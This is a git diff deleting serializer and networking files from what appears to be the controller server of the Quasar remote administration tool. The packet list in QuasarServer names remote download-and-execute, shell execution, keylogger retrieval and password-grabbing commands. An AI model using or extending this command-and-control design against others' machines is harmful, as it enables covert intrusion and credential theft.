MethodInfo writer, out MethodInfo reader) - { - Debug.Assert(type.IsGenericType); - - if (!type.IsGenericType) - throw new Exception(); - - var genTypeDef = type.GetGenericTypeDefinition(); - - Debug.Assert(genTypeDef == typeof(Dictionary<,>)); - - var containerType = this.GetType(); - - writer = GetGenWriter(containerType, genTypeDef); - reader = GetGenReader(containerType, genTypeDef); - - var genArgs = type.GetGenericArguments(); - - writer = writer.MakeGenericMethod(genArgs); - reader = reader.MakeGenericMethod(genArgs); - } - - static MethodInfo GetGenWriter(Type containerType, Type genType) - { - var mis = containerType.GetMethods(BindingFlags.Static | BindingFlags.Public) - .Where(mi => mi.IsGenericMethod && mi.Name == "WritePrimitive"); - - foreach (var mi in mis) - { - var p = mi.GetParameters(); - - if (p.Length != 3) - continue; - - if (p[1].ParameterType != typeof(Stream)) - continue; - - var paramType = p[2].ParameterType; - - if (paramType.IsGenericType == false) - continue; - - var genParamType = paramType.GetGenericTypeDefinition(); - - if (genType == genParamType) - return mi; - } - - return null; - } - - static MethodInfo GetGenReader(Type containerType, Type genType) - { - var mis = containerType.GetMethods(BindingFlags.Static | BindingFlags.Public) - .Where(mi => mi.IsGenericMethod && mi.Name == "ReadPrimitive"); - - foreach (var mi in mis) - { - var p = mi.GetParameters(); - - if (p.Length != 3) - continue; - - if (p[1].ParameterType != typeof(Stream)) - continue; - - var paramType = p[2].ParameterType; - - if (paramType.IsByRef == false) - continue; - - paramType = paramType.GetElementType(); - - if (paramType.IsGenericType == false) - continue; - - var genParamType = paramType.GetGenericTypeDefinition(); - - if (genType == genParamType) - return mi; - } - - return null; - } - - public static void WritePrimitive(Serializer serializer, Stream stream, Dictionary value) - { - var kvpArray = new KeyValuePair[value.Count]; - - int i = 0; - foreach (var kvp in value) - kvpArray[i++] = kvp; - - serializer.Serialize(stream, kvpArray); - } - - public static void ReadPrimitive(Serializer serializer, Stream stream, out Dictionary value) - { - var kvpArray = (KeyValuePair[])serializer.Deserialize(stream); - - value = new Dictionary(kvpArray.Length); - - foreach (var kvp in kvpArray) - value.Add(kvp.Key, kvp.Value); - } - } -} diff --git a/Server/Core/NetSerializer/TypeSerializers/EnumSerializer.cs b/Server/Core/NetSerializer/TypeSerializers/EnumSerializer.cs deleted file mode 100644 index f18456a06..000000000 --- a/Server/Core/NetSerializer/TypeSerializers/EnumSerializer.cs +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Reflection; - -namespace xServer.Core.NetSerializer.TypeSerializers -{ - public class EnumSerializer : IStaticTypeSerializer - { - public bool Handles(Type type) - { - return type.IsEnum; - } - - public IEnumerable GetSubtypes(Type type) - { - var underlyingType = Enum.GetUnderlyingType(type); - - yield return underlyingType; - } - - public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) - { - Debug.Assert(type.IsEnum); - - var underlyingType = Enum.GetUnderlyingType(type); - - writer = Primitives.GetWritePrimitive(underlyingType); - reader = Primitives.GetReaderPrimitive(underlyingType); - } - } -} diff --git a/Server/Core/NetSerializer/TypeSerializers/GenericSerializer.cs b/Server/Core/NetSerializer/TypeSerializers/GenericSerializer.cs deleted file mode 100644 index d405ae718..000000000 --- a/Server/Core/NetSerializer/TypeSerializers/GenericSerializer.cs +++ /dev/null @@ -1,121 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Reflection; -using System.Reflection.Emit; - -namespace xServer.Core.NetSerializer.TypeSerializers -{ - public class GenericSerializer : IDynamicTypeSerializer - { - public bool Handles(Type type) - { - if (!type.IsSerializable) - throw new NotSupportedException(String.Format("Type {0} is not marked as Serializable", type.FullName)); - - if (typeof(System.Runtime.Serialization.ISerializable).IsAssignableFrom(type)) - throw new NotSupportedException(String.Format("Cannot serialize {0}: ISerializable not supported", type.FullName)); - - return true; - } - - public IEnumerable GetSubtypes(Type type) - { - var fields = Helpers.GetFieldInfos(type); - - foreach (var field in fields) - yield return field.FieldType; - } - - public void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il) - { - // arg0: Serializer, arg1: Stream, arg2: value - - var fields = Helpers.GetFieldInfos(type); - - foreach (var field in fields) - { - // Note: the user defined value type is not passed as reference. could cause perf problems with big structs - - var fieldType = field.FieldType; - - var data = ctx.GetTypeDataForCall(fieldType); - - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - il.Emit(OpCodes.Ldarg_1); - if (type.IsValueType) - il.Emit(OpCodes.Ldarga_S, 2); - else - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldfld, field); - - il.Emit(OpCodes.Call, data.WriterMethodInfo); - } - - il.Emit(OpCodes.Ret); - } - - public void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il) - { - // arg0: Serializer, arg1: stream, arg2: out value - - if (type.IsClass) - { - // instantiate empty class - il.Emit(OpCodes.Ldarg_2); - - var gtfh = typeof(Type).GetMethod("GetTypeFromHandle", BindingFlags.Public | BindingFlags.Static); - var guo = typeof(System.Runtime.Serialization.FormatterServices).GetMethod("GetUninitializedObject", BindingFlags.Public | BindingFlags.Static); - il.Emit(OpCodes.Ldtoken, type); - il.Emit(OpCodes.Call, gtfh); - il.Emit(OpCodes.Call, guo); - il.Emit(OpCodes.Castclass, type); - - il.Emit(OpCodes.Stind_Ref); - } - - var fields = Helpers.GetFieldInfos(type); - - foreach (var field in fields) - { - var fieldType = field.FieldType; - - var data = ctx.GetTypeDataForCall(fieldType); - - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldarg_2); - if (type.IsClass) - il.Emit(OpCodes.Ldind_Ref); - il.Emit(OpCodes.Ldflda, field); - - il.Emit(OpCodes.Call, data.ReaderMethodInfo); - } - - if (typeof(System.Runtime.Serialization.IDeserializationCallback).IsAssignableFrom(type)) - { - var miOnDeserialization = typeof(System.Runtime.Serialization.IDeserializationCallback).GetMethod("OnDeserialization", - BindingFlags.Instance | BindingFlags.Public, - null, new[] { typeof(Object) }, null); - - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldnull); - il.Emit(OpCodes.Constrained, type); - il.Emit(OpCodes.Callvirt, miOnDeserialization); - } - - il.Emit(OpCodes.Ret); - } - } -} diff --git a/Server/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs b/Server/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs deleted file mode 100644 index 587cdfc15..000000000 --- a/Server/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs +++ /dev/null @@ -1,157 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Reflection; -using System.Reflection.Emit; - -namespace xServer.Core.NetSerializer.TypeSerializers -{ - class ObjectSerializer : IDynamicTypeSerializer - { - public bool Handles(Type type) - { - return type == typeof(object); - } - - public IEnumerable GetSubtypes(Type type) - { - return new Type[0]; - } - - public void GenerateWriterMethod(Type obtype, CodeGenContext ctx, ILGenerator il) - { - var getTypeIDMethodInfo = typeof(Serializer).GetMethod("GetTypeID", BindingFlags.NonPublic | BindingFlags.Instance, null, - new Type[] { typeof(object) }, null); - - var map = ctx.TypeMap; - - // arg0: Serializer, arg1: Stream, arg2: object - - var idLocal = il.DeclareLocal(typeof(ushort)); - - // get TypeID from object's Type - il.Emit(OpCodes.Ldarg_0); - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Call, getTypeIDMethodInfo); - il.Emit(OpCodes.Stloc_S, idLocal); - - // write typeID - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldloc_S, idLocal); - il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(ushort))); - - // +1 for 0 (null) - var jumpTable = new Label[map.Count + 1]; - jumpTable[0] = il.DefineLabel(); - foreach (var kvp in map) - jumpTable[kvp.Value.TypeID] = il.DefineLabel(); - - il.Emit(OpCodes.Ldloc_S, idLocal); - il.Emit(OpCodes.Switch, jumpTable); - - il.Emit(OpCodes.Newobj, Helpers.ExceptionCtorInfo); - il.Emit(OpCodes.Throw); - - /* null case */ - il.MarkLabel(jumpTable[0]); - il.Emit(OpCodes.Ret); - - /* cases for types */ - foreach (var kvp in map) - { - var type = kvp.Key; - var data = kvp.Value; - - il.MarkLabel(jumpTable[data.TypeID]); - - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldarg_2); - il.Emit(type.IsValueType ? OpCodes.Unbox_Any : OpCodes.Castclass, type); - - il.Emit(OpCodes.Tailcall); - il.Emit(OpCodes.Call, data.WriterMethodInfo); - - il.Emit(OpCodes.Ret); - } - } - - public void GenerateReaderMethod(Type obtype, CodeGenContext ctx, ILGenerator il) - { - var map = ctx.TypeMap; - - // arg0: Serializer, arg1: stream, arg2: out object - - var idLocal = il.DeclareLocal(typeof(ushort)); - - // read typeID - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldloca_S, idLocal); - il.Emit(OpCodes.Call, ctx.GetReaderMethodInfo(typeof(ushort))); - - // +1 for 0 (null) - var jumpTable = new Label[map.Count + 1]; - jumpTable[0] = il.DefineLabel(); - foreach (var kvp in map) - jumpTable[kvp.Value.TypeID] = il.DefineLabel(); - - il.Emit(OpCodes.Ldloc_S, idLocal); - il.Emit(OpCodes.Switch, jumpTable); - - il.Emit(OpCodes.Newobj, Helpers.ExceptionCtorInfo); - il.Emit(OpCodes.Throw); - - /* null case */ - il.MarkLabel(jumpTable[0]); - - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldnull); - il.Emit(OpCodes.Stind_Ref); - il.Emit(OpCodes.Ret); - - /* cases for types */ - foreach (var kvp in map) - { - var type = kvp.Key; - var data = kvp.Value; - - il.MarkLabel(jumpTable[data.TypeID]); - - var local = il.DeclareLocal(type); - - // call deserializer for this typeID - if (data.NeedsInstanceParameter) - il.Emit(OpCodes.Ldarg_0); - - il.Emit(OpCodes.Ldarg_1); - if (local.LocalIndex < 256) - il.Emit(OpCodes.Ldloca_S, local); - else - il.Emit(OpCodes.Ldloca, local); - - il.Emit(OpCodes.Call, data.ReaderMethodInfo); - - // write result object to out object - il.Emit(OpCodes.Ldarg_2); - if (local.LocalIndex < 256) - il.Emit(OpCodes.Ldloc_S, local); - else - il.Emit(OpCodes.Ldloc, local); - if (type.IsValueType) - il.Emit(OpCodes.Box, type); - il.Emit(OpCodes.Stind_Ref); - - il.Emit(OpCodes.Ret); - } - } - } -} diff --git a/Server/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs b/Server/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs deleted file mode 100644 index dc819ca4b..000000000 --- a/Server/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2015 Tomi Valkeinen - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, You can obtain one at http://mozilla.org/MPL/2.0/. - */ - -using System; -using System.Collections.Generic; -using System.Linq; -using System.Reflection; - -namespace xServer.Core.NetSerializer.TypeSerializers -{ - public class PrimitivesSerializer : IStaticTypeSerializer - { - static Type[] s_primitives = new Type[] { - typeof(bool), - typeof(byte), typeof(sbyte), - typeof(char), - typeof(ushort), typeof(short), - typeof(uint), typeof(int), - typeof(ulong), typeof(long), - typeof(float), typeof(double), - typeof(string), - typeof(DateTime), - typeof(byte[]), - }; - - public bool Handles(Type type) - { - return s_primitives.Contains(type); - } - - public IEnumerable GetSubtypes(Type type) - { - yield break; - } - - public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) - { - writer = Primitives.GetWritePrimitive(type); - reader = Primitives.GetReaderPrimitive(type); - } - - public static IEnumerable GetSupportedTypes() - { - return s_primitives; - } - } -} diff --git a/Server/Core/Networking/Client.cs b/Server/Core/Networking/Client.cs deleted file mode 100644 index 7a817b4f8..000000000 --- a/Server/Core/Networking/Client.cs +++ /dev/null @@ -1,680 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Threading; -using xServer.Core.Compression; -using xServer.Core.Cryptography; -using xServer.Core.Extensions; -using xServer.Core.Packets; - -namespace xServer.Core.Networking -{ - public class Client : IEquatable - { - /// - /// Occurs when the state of the client changes. - /// - public event ClientStateEventHandler ClientState; - - /// - /// Represents the method that will handle a change in a client's state. - /// - /// The client which changed its state. - /// The new connection state of the client. - public delegate void ClientStateEventHandler(Client s, bool connected); - - /// - /// Fires an event that informs subscribers that the state of the client has changed. - /// - /// The new connection state of the client. - private void OnClientState(bool connected) - { - if (Connected == connected) return; - - Connected = connected; - - var handler = ClientState; - if (handler != null) - { - handler(this, connected); - } - } - - /// - /// Occurs when a packet is received from the client. - /// - public event ClientReadEventHandler ClientRead; - - /// - /// Represents the method that will handle a packet received from the client. - /// - /// The client that has received the packet. - /// The packet that received by the client. - public delegate void ClientReadEventHandler(Client s, IPacket packet); - - /// - /// Fires an event that informs subscribers that a packet has been - /// received from the client. - /// - /// The packet that received by the client. - private void OnClientRead(IPacket packet) - { - var handler = ClientRead; - if (handler != null) - { - handler(this, packet); - } - } - - /// - /// Occurs when a packet is sent by the client. - /// - public event ClientWriteEventHandler ClientWrite; - - /// - /// Represents the method that will handle the sent packet. - /// - /// The client that has sent the packet. - /// The packet that has been sent by the client. - /// The length of the packet. - /// The packet in raw bytes. - public delegate void ClientWriteEventHandler(Client s, IPacket packet, long length, byte[] rawData); - - /// - /// Fires an event that informs subscribers that the client has sent a packet. - /// - /// The packet that has been sent by the client. - /// The length of the packet. - /// The packet in raw bytes. - private void OnClientWrite(IPacket packet, long length, byte[] rawData) - { - var handler = ClientWrite; - if (handler != null) - { - handler(this, packet, length, rawData); - } - } - - /// - /// Checks whether the clients are equal. - /// - /// Client to compare with. - /// True if equal, else False. - public bool Equals(Client c) - { - try - { - // the port is always unique for each client - return this.EndPoint.Port.Equals(c.EndPoint.Port); - } - catch (Exception) - { - return false; - } - } - - public override bool Equals(object obj) - { - return this.Equals(obj as Client); - } - - /// - /// Returns the hashcode for this instance. - /// - /// A hash code for the current instance. - public override int GetHashCode() - { - return this.EndPoint.Port.GetHashCode(); - } - - /// - /// The type of the packet received. - /// - public enum ReceiveType - { - Header, - Payload - } - - /// - /// Handle of the Client Socket. - /// - private Socket _handle; - - /// - /// The Queue which holds buffers to send. - /// - private readonly Queue _sendBuffers = new Queue(); - - /// - /// Determines if the client is currently sending packets. - /// - private bool _sendingPackets; - - /// - /// Lock object for the sending packets boolean. - /// - private readonly object _sendingPacketsLock = new object(); - - /// - /// The Queue which holds buffers to read. - /// - private readonly Queue _readBuffers = new Queue(); - - /// - /// Determines if the client is currently reading packets. - /// - private bool _readingPackets; - - /// - /// Lock object for the reading packets boolean. - /// - private readonly object _readingPacketsLock = new object(); - - // receive info - private int _readOffset; - private int _writeOffset; - private int _tempHeaderOffset; - private int _readableDataLen; - private int _payloadLen; - private ReceiveType _receiveState = ReceiveType.Header; - - /// - /// The time when the client connected. - /// - public DateTime ConnectedTime { get; private set; } - - /// - /// The connection state of the client. - /// - public bool Connected { get; private set; } - - /// - /// Determines if the client is authenticated. - /// - public bool Authenticated { get; set; } - - /// - /// Stores values of the user. - /// - public UserState Value { get; set; } - - /// - /// The Endpoint which the client is connected to. - /// - public IPEndPoint EndPoint { get; private set; } - - /// - /// The parent server of the client. - /// - private readonly Server _parentServer; - - /// - /// The buffer for the client's incoming packets. - /// - private byte[] _readBuffer; - - /// - /// The buffer for the client's incoming payload. - /// - private byte[] _payloadBuffer; - - /// - /// The temporary header to store parts of the header. - /// - /// - /// This temporary header is used when we have i.e. - /// only 2 bytes left to read from the buffer but need more - /// which can only be read in the next Receive callback - /// - private byte[] _tempHeader; - - /// - /// Decides if we need to append bytes to the header. - /// - private bool _appendHeader; - - private const bool encryptionEnabled = true; - private const bool compressionEnabled = true; - - public Client(Server parentServer, Socket socket) - { - try - { - _parentServer = parentServer; - Initialize(); - - _handle = socket; - _handle.SetKeepAliveEx(_parentServer.KEEP_ALIVE_INTERVAL, _parentServer.KEEP_ALIVE_TIME); - - EndPoint = (IPEndPoint)_handle.RemoteEndPoint; - ConnectedTime = DateTime.UtcNow; - - _readBuffer = _parentServer.BufferManager.GetBuffer(); - _tempHeader = new byte[_parentServer.HEADER_SIZE]; - - _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null); - OnClientState(true); - } - catch (Exception) - { - Disconnect(); - } - } - - private void Initialize() - { - Authenticated = false; - Value = new UserState(); - } - - private void AsyncReceive(IAsyncResult result) - { - int bytesTransferred; - - try - { - bytesTransferred = _handle.EndReceive(result); - - if (bytesTransferred <= 0) - throw new Exception("no bytes transferred"); - } - catch (NullReferenceException) - { - return; - } - catch (ObjectDisposedException) - { - return; - } - catch (Exception) - { - Disconnect(); - return; - } - - _parentServer.BytesReceived += bytesTransferred; - - byte[] received = new byte[bytesTransferred]; - - try - { - Array.Copy(_readBuffer, received, received.Length); - } - catch (Exception) - { - Disconnect(); - return; - } - - lock (_readBuffers) - { - _readBuffers.Enqueue(received); - } - - lock (_readingPacketsLock) - { - if (!_readingPackets) - { - _readingPackets = true; - ThreadPool.QueueUserWorkItem(AsyncReceive); - } - } - - try - { - _handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null); - } - catch (ObjectDisposedException) - { - } - catch (Exception) - { - Disconnect(); - } - } - - private void AsyncReceive(object state) - { - while (true) - { - byte[] readBuffer; - lock (_readBuffers) - { - if (_readBuffers.Count == 0) - { - lock (_readingPacketsLock) - { - _readingPackets = false; - } - return; - } - - readBuffer = _readBuffers.Dequeue(); - } - - _readableDataLen += readBuffer.Length; - bool process = true; - while (process) - { - switch (_receiveState) - { - case ReceiveType.Header: - { - if (_readableDataLen >= _parentServer.HEADER_SIZE) - { // we can read the header - int headerLength = (_appendHeader) - ? _parentServer.HEADER_SIZE - _tempHeaderOffset - : _parentServer.HEADER_SIZE; - - try - { - if (_appendHeader) - { - try - { - Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, - headerLength); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - _payloadLen = BitConverter.ToInt32(_tempHeader, 0); - _tempHeaderOffset = 0; - _appendHeader = false; - } - else - { - _payloadLen = BitConverter.ToInt32(readBuffer, _readOffset); - } - - if (_payloadLen <= 0 || _payloadLen > _parentServer.MAX_PACKET_SIZE) - throw new Exception("invalid header"); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - - _readableDataLen -= headerLength; - _readOffset += headerLength; - _receiveState = ReceiveType.Payload; - } - else // _parentServer.HEADER_SIZE < _readableDataLen - { - try - { - Array.Copy(readBuffer, _readOffset, _tempHeader, _tempHeaderOffset, _readableDataLen); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - _tempHeaderOffset += _readableDataLen; - _appendHeader = true; - process = false; - } - break; - } - case ReceiveType.Payload: - { - if (_payloadBuffer == null || _payloadBuffer.Length != _payloadLen) - _payloadBuffer = new byte[_payloadLen]; - - int length = (_writeOffset + _readableDataLen >= _payloadLen) - ? _payloadLen - _writeOffset - : _readableDataLen; - - try - { - Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - - _writeOffset += length; - _readOffset += length; - _readableDataLen -= length; - - if (_writeOffset == _payloadLen) - { - bool isError = _payloadBuffer.Length == 0; - - if (!isError) - { - if (encryptionEnabled) - _payloadBuffer = AES.Decrypt(_payloadBuffer); - - isError = _payloadBuffer.Length == 0; // check if payload decryption failed - } - - if (!isError) - { - if (compressionEnabled) - { - try - { - _payloadBuffer = SafeQuickLZ.Decompress(_payloadBuffer); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - } - - isError = _payloadBuffer.Length == 0; // check if payload decompression failed - } - - if (isError) - { - process = false; - Disconnect(); - break; - } - - using (MemoryStream deserialized = new MemoryStream(_payloadBuffer)) - { - try - { - IPacket packet = (IPacket)_parentServer.Serializer.Deserialize(deserialized); - - OnClientRead(packet); - } - catch (Exception) - { - process = false; - Disconnect(); - break; - } - } - - _receiveState = ReceiveType.Header; - _payloadBuffer = null; - _payloadLen = 0; - _writeOffset = 0; - } - - if (_readableDataLen == 0) - process = false; - - break; - } - } - } - - if (_receiveState == ReceiveType.Header) - { - _writeOffset = 0; // prepare for next packet - } - _readOffset = 0; - _readableDataLen = 0; - } - } - - /// - /// Sends a packet to the connected client. - /// - /// The type of the packet. - /// The packet to be send. - public void Send(T packet) where T : IPacket - { - if (!Connected || packet == null) return; - - lock (_sendBuffers) - { - using (MemoryStream ms = new MemoryStream()) - { - try - { - _parentServer.Serializer.Serialize(ms, packet); - } - catch (Exception) - { - Disconnect(); - return; - } - - byte[] payload = ms.ToArray(); - - _sendBuffers.Enqueue(payload); - - OnClientWrite(packet, payload.LongLength, payload); - - lock (_sendingPacketsLock) - { - if (_sendingPackets) return; - - _sendingPackets = true; - } - ThreadPool.QueueUserWorkItem(Send); - } - } - } - - /// - /// Sends a packet to the connected client. - /// Blocks the thread until all packets have been sent. - /// - /// The type of the packet. - /// The packet to be send. - public void SendBlocking(T packet) where T : IPacket - { - Send(packet); - while (_sendingPackets) - { - Thread.Sleep(10); - } - } - - private void Send(object state) - { - while (true) - { - if (!Connected) - { - SendCleanup(true); - return; - } - - byte[] payload; - lock (_sendBuffers) - { - if (_sendBuffers.Count == 0) - { - SendCleanup(); - return; - } - - payload = _sendBuffers.Dequeue(); - } - - try - { - var packet = BuildPacket(payload); - _parentServer.BytesSent += packet.Length; - _handle.Send(packet); - } - catch (Exception) - { - Disconnect(); - SendCleanup(true); - return; - } - } - } - - private byte[] BuildPacket(byte[] payload) - { - if (compressionEnabled) - payload = SafeQuickLZ.Compress(payload); - - if (encryptionEnabled) - payload = AES.Encrypt(payload); - - byte[] packet = new byte[payload.Length + _parentServer.HEADER_SIZE]; - Array.Copy(BitConverter.GetBytes(payload.Length), packet, _parentServer.HEADER_SIZE); - Array.Copy(payload, 0, packet, _parentServer.HEADER_SIZE, payload.Length); - return packet; - } - - private void SendCleanup(bool clear = false) - { - lock (_sendingPacketsLock) - { - _sendingPackets = false; - } - - if (!clear) return; - - lock (_sendBuffers) - { - _sendBuffers.Clear(); - } - } - - /// - /// Disconnect the client from the server and dispose of - /// resources associated with the client. - /// - public void Disconnect() - { - if (_handle != null) - { - _handle.Close(); - _handle = null; - _readOffset = 0; - _writeOffset = 0; - _tempHeaderOffset = 0; - _readableDataLen = 0; - _payloadLen = 0; - _payloadBuffer = null; - _receiveState = ReceiveType.Header; - - if (Value != null) - { - Value.Dispose(); - Value = null; - } - - _parentServer.BufferManager.ReturnBuffer(_readBuffer); - } - - OnClientState(false); - } - } -} \ No newline at end of file diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs deleted file mode 100644 index fe0f5936f..000000000 --- a/Server/Core/Networking/QuasarServer.cs +++ /dev/null @@ -1,201 +0,0 @@ -using System; -using System.Linq; -using xServer.Core.Commands; -using xServer.Core.NetSerializer; -using xServer.Core.Packets; - -namespace xServer.Core.Networking -{ - public class QuasarServer : Server - { - /// - /// Gets the clients currently connected and authenticated to the server. - /// - public Client[] ConnectedClients - { - get { return Clients.Where(c => c != null && c.Authenticated).ToArray(); } - } - - /// - /// Occurs when a client connected. - /// - public event ClientConnectedEventHandler ClientConnected; - - /// - /// Represents the method that will handle the connected client. - /// - /// The connected client. - public delegate void ClientConnectedEventHandler(Client client); - - /// - /// Fires an event that informs subscribers that the client is connected. - /// - /// The connected client. - private void OnClientConnected(Client client) - { - if (ProcessingDisconnect || !Listening) return; - var handler = ClientConnected; - if (handler != null) - { - handler(client); - } - } - - /// - /// Occurs when a client disconnected. - /// - public event ClientDisconnectedEventHandler ClientDisconnected; - - /// - /// Represents the method that will handle the disconnected client. - /// - /// The disconnected client. - public delegate void ClientDisconnectedEventHandler(Client client); - - /// - /// Fires an event that informs subscribers that the client is disconnected. - /// - /// The disconnected client. - private void OnClientDisconnected(Client client) - { - if (ProcessingDisconnect || !Listening) return; - var handler = ClientDisconnected; - if (handler != null) - { - handler(client); - } - } - - /// - /// Constructor, initializes required objects and subscribes to events of the server. - /// - public QuasarServer() : base() - { - base.Serializer = new Serializer(new Type[] - { - typeof (Packets.ServerPackets.GetAuthentication), - typeof (Packets.ServerPackets.DoClientDisconnect), - typeof (Packets.ServerPackets.DoClientReconnect), - typeof (Packets.ServerPackets.DoClientUninstall), - typeof (Packets.ServerPackets.DoDownloadAndExecute), - typeof (Packets.ServerPackets.DoUploadAndExecute), - typeof (Packets.ServerPackets.GetDesktop), - typeof (Packets.ServerPackets.GetProcesses), - typeof (Packets.ServerPackets.DoProcessKill), - typeof (Packets.ServerPackets.DoProcessStart), - typeof (Packets.ServerPackets.GetDrives), - typeof (Packets.ServerPackets.GetDirectory), - typeof (Packets.ServerPackets.DoDownloadFile), - typeof (Packets.ServerPackets.DoMouseEvent), - typeof (Packets.ServerPackets.DoKeyboardEvent), - typeof (Packets.ServerPackets.GetSystemInfo), - typeof (Packets.ServerPackets.DoVisitWebsite), - typeof (Packets.ServerPackets.DoShowMessageBox), - typeof (Packets.ServerPackets.DoClientUpdate), - typeof (Packets.ServerPackets.GetMonitors), - typeof (Packets.ServerPackets.DoShellExecute), - typeof (Packets.ServerPackets.DoPathRename), - typeof (Packets.ServerPackets.DoPathDelete), - typeof (Packets.ServerPackets.DoShutdownAction), - typeof (Packets.ServerPackets.GetStartupItems), - typeof (Packets.ServerPackets.DoStartupItemAdd), - typeof (Packets.ServerPackets.DoStartupItemRemove), - typeof (Packets.ServerPackets.DoDownloadFileCancel), - typeof (Packets.ServerPackets.GetKeyloggerLogs), - typeof (Packets.ServerPackets.DoUploadFile), - typeof (Packets.ServerPackets.GetPasswords), - typeof (Packets.ServerPackets.DoLoadRegistryKey), - typeof (Packets.ServerPackets.DoCreateRegistryKey), - typeof (Packets.ServerPackets.DoDeleteRegistryKey), - typeof (Packets.ServerPackets.DoRenameRegistryKey), - typeof (Packets.ServerPackets.DoCreateRegistryValue), - typeof (Packets.ServerPackets.DoDeleteRegistryValue), - typeof (Packets.ServerPackets.DoRenameRegistryValue), - typeof (Packets.ServerPackets.DoChangeRegistryValue), - typeof (Packets.ServerPackets.SetAuthenticationSuccess), - typeof (Packets.ClientPackets.GetAuthenticationResponse), - typeof (Packets.ClientPackets.SetStatus), - typeof (Packets.ClientPackets.SetStatusFileManager), - typeof (Packets.ClientPackets.SetUserStatus), - typeof (Packets.ClientPackets.GetDesktopResponse), - typeof (Packets.ClientPackets.GetProcessesResponse), - typeof (Packets.ClientPackets.GetDrivesResponse), - typeof (Packets.ClientPackets.GetDirectoryResponse), - typeof (Packets.ClientPackets.DoDownloadFileResponse), - typeof (Packets.ClientPackets.GetSystemInfoResponse), - typeof (Packets.ClientPackets.GetMonitorsResponse), - typeof (Packets.ClientPackets.DoShellExecuteResponse), - typeof (Packets.ClientPackets.GetStartupItemsResponse), - typeof (Packets.ClientPackets.GetKeyloggerLogsResponse), - typeof (Packets.ClientPackets.GetPasswordsResponse), - typeof (Packets.ClientPackets.GetRegistryKeysResponse), - typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse), - typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse), - typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse), - typeof (Packets.ClientPackets.GetCreateRegistryValueResponse), - typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse), - typeof (Packets.ClientPackets.GetRenameRegistryValueResponse), - typeof (Packets.ClientPackets.GetChangeRegistryValueResponse), - typeof (ReverseProxy.Packets.ReverseProxyConnect), - typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), - typeof (ReverseProxy.Packets.ReverseProxyData), - typeof (ReverseProxy.Packets.ReverseProxyDisconnect) - }); - - base.ClientState += OnClientState; - base.ClientRead += OnClientRead; - } - - /// - /// Decides if the client connected or disconnected. - /// - /// The server the client is connected to. - /// The client which changed its state. - /// True if the client connected, false if disconnected. - private void OnClientState(Server server, Client client, bool connected) - { - switch (connected) - { - case true: - new Packets.ServerPackets.GetAuthentication().Execute(client); // begin handshake - break; - case false: - if (client.Authenticated) - { - OnClientDisconnected(client); - } - break; - } - } - - /// - /// Forwards received packets from the client to the PacketHandler. - /// - /// The server the client is connected to. - /// The client which has received the packet. - /// The received packet. - private void OnClientRead(Server server, Client client, IPacket packet) - { - var type = packet.GetType(); - - if (!client.Authenticated) - { - if (type == typeof (Packets.ClientPackets.GetAuthenticationResponse)) - { - client.Authenticated = true; - new Packets.ServerPackets.SetAuthenticationSuccess().Execute(client); // finish handshake - CommandHandler.HandleGetAuthenticationResponse(client, - (Packets.ClientPackets.GetAuthenticationResponse) packet); - OnClientConnected(client); - } - else - { - client.Disconnect(); - } - return; - } - - PacketHandler.HandlePacket(client, packet); - } - } -} 